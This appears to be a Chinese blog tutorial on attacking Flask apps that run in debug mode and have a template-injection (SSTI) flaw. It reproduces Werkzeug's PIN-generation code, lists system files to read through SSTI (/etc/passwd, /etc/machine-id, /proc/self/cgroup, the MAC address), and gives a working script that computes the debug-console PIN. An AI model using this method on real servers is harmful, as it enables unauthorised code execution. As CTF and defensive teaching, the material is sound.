Python-Flask框架(六),如果在生产环境里Debug和SSTI偷偷幽会会发生什么?

前言

实验环境
Ubuntu16.04
Win10
Python
项目Demo
https://github.com/99kies/pinflask
如果flask框架中有ssti的点,那我们就可以进行ssti注入,开启debug模式获取pin得到后台,session伪造啊等等,这里想介绍的是当这个debug和ssti出现的时候会出现什么样不一样的火花。

Flask中Debug的功能

如何开启Debug模式

  1. 在代码文件中添加debug=True
#####
etc.
#####
if __name__ == "__main__":
	app.run(debug=True)

首先在配置文件中写入Debug=True
然后在程序中引入配置文件

set FLASK_DEBUG=1

flask run

Debug的功能

代码demo

from flask import Flask

app = Flask(__name__)

@app.route("/")
def index():
	a = 1/0 # 这里有一个明显的错误!	
	return a
if __name__ == '__main__':
    app.run(host="0.0.0.0", port=80, debug=True)

在本地运行这串demo
在这里插入图片描述
当访问127.0.0.1的时候

在这里插入图片描述
通过Pin码进入控制台
在这里插入图片描述
在这里插入图片描述

tips:另外有一个小插曲,如果你开启多线程,那么debug会占用一个线程,这会导致服务端需要保存文件的时候就会报错(权限不够),关闭debug模式就能成功写入文件了。

Flask是如何生成Pin的

Pin是一个固定的值,我觉得没有必要关注或者花费精力和资源在加密pin的算法上,因为这个dubug是开发环境里的工具,在生产环境里是切不可使用debug=True这个功能的,我们只要做到上线服务的时候关闭debug模式即可。
加密pin的函数位置

/usr/local/lib/python3.5/dist-packages/werkzeug/debug/__init__.py
# 此处以ubuntu16.04-python3.5环境为例,具体情况还需以你的python包路径的地址为准

就在包路径下的debug文件中
查看源码

def get_machine_id():
    global _machine_id
    rv = _machine_id
    if rv is not None:
        return rv

    def _generate():
        # docker containers share the same machine id, get the
        # container id instead
        try:
            with open("/proc/self/cgroup") as f:
                value = f.readline()
        except IOError:
            pass
        else:
            value = value.strip().partition("/docker/")[2]

            if value:
                return value

        # Potential sources of secret information on linux.  The machine-id
        # is stable across boots, the boot id is not
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    return f.readline().strip()
            except IOError:
                continue

        # On OS X we can use the computer's serial number assuming that
        # ioreg exists and can spit out that information.
        try:
            # Also catch import errors: subprocess may not be available, e.g.
            # Google App Engine
            # See https://github.com/pallets/werkzeug/issues/925
            from subprocess import Popen, PIPE

            dump = Popen(
                ["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
            ).communicate()[0]
            match = re.search(b'"serial-number" = <([^>]+)', dump)
            if match is not None:
                return match.group(1)
        except (OSError, ImportError):
            pass

        # On Windows we can use winreg to get the machine guid
        wr = None
        try:
            import winreg as wr
        except ImportError:
            try:
                import _winreg as wr
            except ImportError:
                pass
        if wr is not None:
            try:
                with wr.OpenKey(
                    wr.HKEY_LOCAL_MACHINE,
                    "SOFTWARE\\Microsoft\\Cryptography",
                    0,
                    wr.KEY_READ | wr.KEY_WOW64_64KEY,
                ) as rk:
                    machineGuid, wrType = wr.QueryValueEx(rk, "MachineGuid")
                    if wrType == wr.REG_SZ:
                        return machineGuid.encode("utf-8")
                    else:
                        return machineGuid
            except WindowsError:
                pass

    _machine_id = rv = _generate()
    return rv

def get_pin_and_cookie_name(app):
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", app.__class__.__module__)

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", app.__class__.__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, text_type):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = "__wzd" + h.hexdigest()[:20]

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = ("%09d" % int(h.hexdigest(), 16))[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

get_machine_id() #用来计算machine-id
get_pin_and_cookie_name(app) #计算出Pin的代码

通过get_pin_and_cookie_name(app)我们即可知道,只要给函数提供数据即可,而且这些数据我们也可以手动填写

需要的值
username -> (whoami)
modname
getattr(app, “name”, app.class.name)
getattr(mod, “file”, None)
machine-id
mac地址

tips:
需要注意的是 machine-id的值。get_machine_id()函数是用来计算,加密过程中所需的machine-id值。那主要是啥情况呢。

  1. 如果是Linux裸机运行flask服务,那machine-id就是/etc/machine-id的值
  2. 如果是docker启动服务,machine-id可能是/proc/self/cgroup,也可能是/proc/sys/kernel/random/boot_id+/proc/self/cgroup
    2.1 docker容器共享相同的机器id,而获取容器id,machine-id为
    /porc/self/cgroup

容器实现隔离机制介绍
隔离机制共有两种可用

  1. Linux命名空间,它使每个进程只看到它自己的系统视图(文件,进程,网络接口,主机名等);
  2. Linux控制组(cgroups),它限制了进程能使用的资源量(CPU,内存,网络带宽等)

Python-Flask框架,如果在生产环境里Debug和SSTI偷偷幽会会发生什么?

复现漏洞项目,并搭建测试平台

实验测试
项目demo https://github.com/99kies/pinflask

git clone https://github.com/99kies/pinflask
cd pinflask
docker build -t pinflask .
docker run -id -p 5000:5000 --name pinflask pinflask

ps:至此完成复现CTF漏洞题目,通过5000端口即可访问服务

在这里插入图片描述

Debug + SSTI == “得到后台”

通过get_pin_and_cookie_name(app)计算出Pin即可
获取所需要的信息即可

需要的值相关文件地址
username -> (whoami)/etc/passwd
modname
getattr(app, “name”, app.class.name)
getattr(mod, “file”, None)
machine-id/etc/machine-id,/proc/sys/kernel/random/boot_id,/proc/self/cgroup
mac地址/sys/class/net/eth0/address

只要通过ssti获取到这些信息就可以计算出pin码
完善本地计算pin码Code

import hashlib
from itertools import chain

def get_pin():
    pin = ''
    rv = None
    num = None

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    # probably_public_bits = [
    #     username,
    #     modname,
    #     getattr(app, "__name__", app.__class__.__name__),
    #     getattr(mod, "__file__", None),
    # ]
    probably_public_bits = [
        'root', # 运行时的用户名 whoami
        'flask.app',
        'Flask',
        '/usr/local/lib/python3.5/site-packages/flask/app.py' # 运行当前python的flask包地址
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    # private_bits = [str(uuid.getnode()), get_machine_id()]
    private_bits = [
        'xxxxxxxxxxx', # /sys/class/net/eth0/address, str(uuid.getnode())
        'xxxxxxxxxxxxxxxxxxxxxxx' # get_machine_id()
    ]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = ("%09d" % int(h.hexdigest(), 16))[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv

print(get_pin())

通过SSTI获得到具体内容,再通过get_pin()

有危险就要有防范

请在生产环境下和Debug说再见,当然SSTI更要说再见
关于Flask SSTI原理和防范请参考
https://blog.csdn.net/qq_19381989/article/details/103175728

关于作者

联系方式 MTI5MDAxNzU1NkBxcS5jb20=

你也可以通过 github | csdn | @新浪微博 关注我的动态

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

99Kies

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值